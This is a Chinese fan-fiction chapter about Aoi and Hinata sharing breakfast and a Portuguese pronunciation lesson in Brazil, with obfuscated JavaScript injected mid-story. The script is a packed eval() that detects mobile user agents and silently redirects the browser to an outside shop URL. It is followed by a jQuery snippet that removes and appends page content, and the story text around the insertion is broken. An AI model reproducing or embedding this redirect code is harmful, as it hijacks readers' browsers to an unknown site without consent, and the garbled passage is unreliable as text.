“起床啦——小——鸟——游——葵——！”
葵被日向朝气十足的声音吵得根本无法再强行入睡，努力睁开眼睛看了一眼手机。
七点半。
这什么鬼时间，她痛苦地放下手机，上次在这个时间醒来好像都是上辈子的事情了。
“起——床——吃——早——餐——啦——”
日向把声音拉得长长的，嘴几乎要凑到了她的耳边。
葵默默翻过身去，发出梦游一般的声音：“我再睡会，等下自己吃。”
身后的声音突然变得委屈：“可是，早餐我都已经做好了。”
葵猛地睁开双眼，大脑瞬间清醒。
完了，本来想着教完葡语还债就跑路的，怎么好像还越欠越多了。
按照她的计划，还是尽量两不相欠，争取下周就搬出去，保持那种见面就远远地打个招呼那种关系吧。
疲惫的大脑拖着强制开机后，即使洗漱完也没有清醒多少的身体来到了餐桌旁边。
葵扫了一眼，嗯，种类很丰富，水煮蛋、沙拉、面包、香蕉，旁边摊开着一本大大的《营养学》和一张勾画着什么的草稿纸，一副连每种食材的摄入量都进行了精心计算的样子。
这就是被阳光小狗饲养的生活吗，好健康……
“葵不喜欢吃味道太重的东西，对吧，我连胡椒都只放了一点——点呢！”
日向举起食指和拇指比划，两根指头几乎要合在一起，他眯起一只眼睛，声情并茂地给葵展示他刚刚调味的时候有多谨慎。
葵的大脑又不受控制地多想，之前日向一定要尝一尝她喜欢吃的食物，不会就是为了摸清她的口味和喜好吧。
真的有人能面对这么热烈直率地表达好感而不动心吗？啊——快停止散发魅力吧你这从头到脚光芒万丈的家伙！
好想逃，葵在内心虚弱地尖叫，回避开视线，道谢后拉开椅子坐了下来。
“我开动了——”
一个朝气蓬勃，一个心不在焉，两个截然不同的声线同时响起。
日向一边往自己的盘子里分着沙拉，一边抬眼期待地看着葵：“葵真的不来一起吃饭吗？及川学长可厉害了，尤其是他的发球，超级难接，以前比赛的时候经常能连续发球得分呢。”
葵心想，就算你这么说了，无论如何也不会有人在吃饭的时候突然站起来表演一个空气发球吧……
她只是挂上客套的微笑：“嗯，感觉和不熟的人吃饭有点尴尬，麻烦翔阳帮我掩护一下，就说我有事吧。”
“哦……”橘子头慢慢垂了下去。
各自安静地吃了一会儿。
“翔阳……为什么这么希望我去呢？”葵终于忍不住好奇地问道。
“因为……希望葵能认识我的朋友，也希望我的朋友能成为葵的朋友。”
葵的脑海里突然冒出一只橙色小狗扯着人类的裤脚，兴致勃勃地拖到自己的小伙伴面前的场景。
她悄悄叹了一口气：“好吧，我会去的。”
“欸？！”日向惊喜地抬起头，腮帮子还鼓鼓囊囊的。
就一顿饭而已，葵心想，这是为了还债罢了。
“等会儿我来买菜，翔阳上完课就早点回来吧。”
“不用这么麻烦的！我上完课顺路一起买回来就行了。”
葵不由分说地举起日向照着书籍列下今日食谱的那张纸，扫了一眼：“要买的就是这些对吧，好的，我明白了。”
“葵好霸道……”橘子头小声地嘟囔着，声音中却有藏不住的喜悦和甜蜜。
吃完饭葵继续霸道地把日向直接赶走，说自己会负责洗碗收拾。
“我出门啦！”日向满脸期待地看向葵，星星眼眨巴眨巴的，就是不走，明显在等着她说出那句话——
“嗯。早点回来。”
葵无奈地顺从了。
当然，这也是为了还债罢了。
她打开水龙头开始清洗餐具，佩德罗打着哈欠从房间里出来：“早——”
他突然看清水槽前站着的并不是日向，猛地回过神，震惊地问她：“你不是晚上才上课吗？竟然起这么早。”
“嗯。”葵漫不经心地把盘子放到沥水架上，心想，有狗的生活就是这样。
*
葡语课开始于午饭后，翔阳打工之前的那段休息时间，佩德罗也坐在客厅的大桌上，他好奇地瞥了一眼日向从日本背过来的葡语课本，兴致缺缺地戴上了耳机，拿着漫画回屋了。
葵已经早早地把他的课本翻过一遍，想好了今天要从发音开始学起。
她指着最前面的发音部分，纠正他：“在巴西葡语里，D并不总是发[d]的音，而是像这样——”
她缓慢地念出正确的发音，把口型做得又大又明显，边讲解着要点。
“舌头要抵着，有点咬住的感觉。”
她张开嘴给日向看自己的舌头，以及舌头该摆在什么位置。
日向意料之中地涨红了脸，他根本不敢盯着葵看，只能避开视线，看见了桌上的超大号水杯，像看见什么救星似的，他端起来，咕噜咕噜地往嘴里灌了好几大口，修长的脖颈线条上，微微凸起的青涩喉结一起一伏。
葵耐心地等待着，无论如何，今天势必要让他学会正确的读音。
翔阳终于把水都吞了下去，依然把脸错开，结结巴巴地小声念：“D，D……”
“嗯……还差点，发音要更像是英语里面说job时的j，或者日语里面……发音类似的……比如说，我们正在上葡语课的“课”（授業 ju gyo u）。”
“J，J……”
日向声如蚊讷，视线依然躲躲闪闪，葵只能看见他从脖子红到了耳尖。
“翔阳，你好好看着我的口型，要大声、清晰地念出来。”葵不满地鼓起双颊，强行扶住了日向的脸，让他面朝自己。
日向的脸已经快要比头发都还红了，马上就要变成一滩黏糊糊的橘子果酱，咕啾咕啾地滑下凳子。
可是葵的眼神坚毅，她不断地用着“还债”“跑路”这几个字催眠和麻痹自己，坚定地注视着翔阳。
少年刚刚喝过水的嘴唇尚且湿润，现在茫然地张着，瞳孔微颤地看着她，翔阳紧张地吞咽了一下口水，终于发出了一个还算像样的音节。
“很好，”葵满意地放开日向，伸手指着书上的例词，“那这个单词怎么读呢？”
出乎葵的意料，日向都读得很标准。
“太好了！”她快乐地翻着书页，想找出一个句子来测验一下翔阳，按照这个进度下去，她很快就能完成任务，两不相欠，溜之大吉，“读一下这个句子吧。”
日向眼神坚定，带着极强的信念感读了下来。
读完，他还期待地看向葵，露出一个等待表扬的神情。
葵皱起眉头，察觉到了事情好像有哪里不对。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716683|144762||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这发音……怎么好像就没一个对的？
她又把书页翻回去，指着发音部分：“这个字母组合怎么读？”
日向的发音很正确。
她又指着几个单词：“那这些单词呢？”
发音也都没有问题。
葵把书页翻回课文：“这个句子？”
日向再一次大声、坚定地读出了自己风味的葡语，发音扭曲得可怕。
看着日向亮晶晶的眼神，葵抿了抿嘴，还是艰难地夸了一句：“嗯，进步很大，还需要多练练，巩固一下。”
“我也觉得自己进步好大，葵好会教！”
橘子小狗活力满满地绽开笑容，看起来对自己信心十足，又摇头晃脑地，小声地重复了几下刚刚学到的音节，发音也都是标准的。
葵暗忖，真是费解啊……明明单独挑出来都能读对，放到句子里怎么就变成了奇怪的样子。
她缓缓合上书页，心想，大概有些人在语言方面就是比较迟钝吧。
这么看起来，要还清恩情任重道远啊……
“翔阳，”她慢吞吞地开口，“你在跟巴西人讨论重要、严肃的事情的时候，最好还是先写在纸上吧。”
说完，她又敏感地怕日向多想，连忙补充道：“不是说你说得不好的意思，而是，毕竟是重要的事情，还是表达清楚一点比较好，避免误解。”
“葵的建议很好诶！我确实目前还说不出流畅完整的句子，”橘子头看起来完全没有多想，只是苦恼地抓了抓自己蓬松的头发，想起了什么似的，眼睛一亮就看了过来，“葵可以今天就帮我写几句吗？我想和我的搭档说：「我想尝试一下逆风的时候多发跳发大力球和侧旋球」，「他扣球技术好，希望他能多接发球组织进攻」，「我会以他为主」。嗯，就这三句话！”
说完，日向就“噔噔噔”地跑回房间，取了个本子出来，摆开在葵的面前，期待地看着她。
葵只能默默掏出手机：“我来谷歌翻译一下。”
“欸？”日向的表情呆滞，疑惑地眨了两下眼睛看她，不明白她葡语这么好，为什么还需要翻译。
葵叹了口气：“我真的，一点也不懂沙滩排球啊，这些专业名词，就算勉强知道该怎么说，也无法和具体的动作对应上……”
“这个好办！”日向听到之后反而更兴奋了，“让我来教葵排球好了，正好，葵教我葡语，我来教葵排球。”
“不，”葵果断地拒绝了，但是看着他充满干劲燃烧着火焰的双眼，突然感到了为难，“这个……”
该怎么说呢……难道要说她对排球并不是很感兴趣，还是说教他葡语只是为了不亏欠他太多罢了……好像哪句话都很伤人……
葵认命地闭上眼睛：“好吧，就简单地教一教，能看懂比赛的程度就行。”
就满足他吧，实在是很难拒绝小狗亮晶晶的眼神啊！葵啊葵，你看看你这个没出息的样子，这样下去，你来我往的，什么时候才能到头！葵在心里痛斥自己。
“那不如葵这周末就来看我们的比赛吧！”
“不了吧……”
“只是入围阶段的比赛，节奏不会很快，也不会看不懂的，而且……我队友的家人说是都会来给他加油，只有我……及川学长白天一直要训练……没有人……”脑袋又垂下去了，委屈巴巴的。
“我会去的。”
葵虚弱地开口，自我催眠，啊，这一定也是为了还债。